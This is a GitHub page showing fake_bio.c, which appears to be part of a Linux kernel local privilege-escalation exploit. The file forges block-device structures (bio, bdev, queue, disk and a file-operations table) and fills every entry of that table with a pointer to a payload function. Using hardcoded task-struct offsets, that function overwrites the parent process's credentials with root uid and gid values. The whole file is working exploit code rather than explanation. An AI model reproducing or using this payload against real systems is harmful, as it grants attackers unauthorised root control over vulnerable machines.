-
Notifications
You must be signed in to change notification settings - Fork 7
/
fake_bio.c
70 lines (53 loc) · 1.75 KB
/
fake_bio.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <stdint.h>
#include <stdbool.h>
#define FAKE_STRUCT_SIZE ((0x1000))
typedef uint8_t u8;
typedef uint32_t u32;
typedef uint64_t u64;
static uint8_t fake_bdev[FAKE_STRUCT_SIZE];
static uint8_t fake_queue[FAKE_STRUCT_SIZE];
static uint8_t fake_disk[FAKE_STRUCT_SIZE];
static uint8_t fake_disk_fops[FAKE_STRUCT_SIZE];
typedef struct fake_cred {
u32 padding;
u32 uid;
u32 gid;
u32 suid;
u32 sgid;
u32 euid;
u32 egid;
} fake_cred;
int runme(uint64_t rdi, uint64_t rsi, uint64_t rdx) {
// parent pointer is at 0x578 into task struct
uint64_t current_task, parent_task;
asm volatile ("mov %%gs:0x1ad00, %0" : "=r"(current_task));
parent_task = *((uint64_t *)(current_task + 0x578));
asm volatile("mov %0, %%rdi" : "+r"(parent_task));
// This is the "cred" field (not real_cred) which seems to point to the same cred in practice
fake_cred *cred_ptr = (fake_cred *)(*(uint64_t *)(parent_task + 0x728));
cred_ptr->uid = 0;
cred_ptr->gid = 0;
cred_ptr->suid = 0;
cred_ptr->sgid = 0;
cred_ptr->euid = 0;
cred_ptr->egid = 0;
return -1;
}
void setup_fake_bio(uint64_t addr) {
for (int i = 0; i < FAKE_STRUCT_SIZE; i++) {
fake_bdev[i] = 0;
fake_disk[i] = 0;
fake_queue[i] = 0;
fake_disk_fops[i] = 0;
}
uint8_t *ptr = (uint8_t *)addr;
*(uint64_t *)(&ptr[0x34]) = 0;
*(uint64_t *)(&ptr[0x08]) = (uint64_t)fake_bdev;
*(uint64_t *)(&fake_bdev[0x340]) = (uint64_t)fake_queue;
*(uint64_t *)(&fake_queue[0x68]) = 0x10000;
*(uint64_t *)(&fake_queue[0x80]) = (uint64_t)fake_disk;
*(uint64_t *)(&fake_disk[0x48]) = (uint64_t)fake_disk_fops;
for (int i = 0; i < 128; i++) {
((uint64_t *)fake_disk_fops)[i] = &runme;
}
}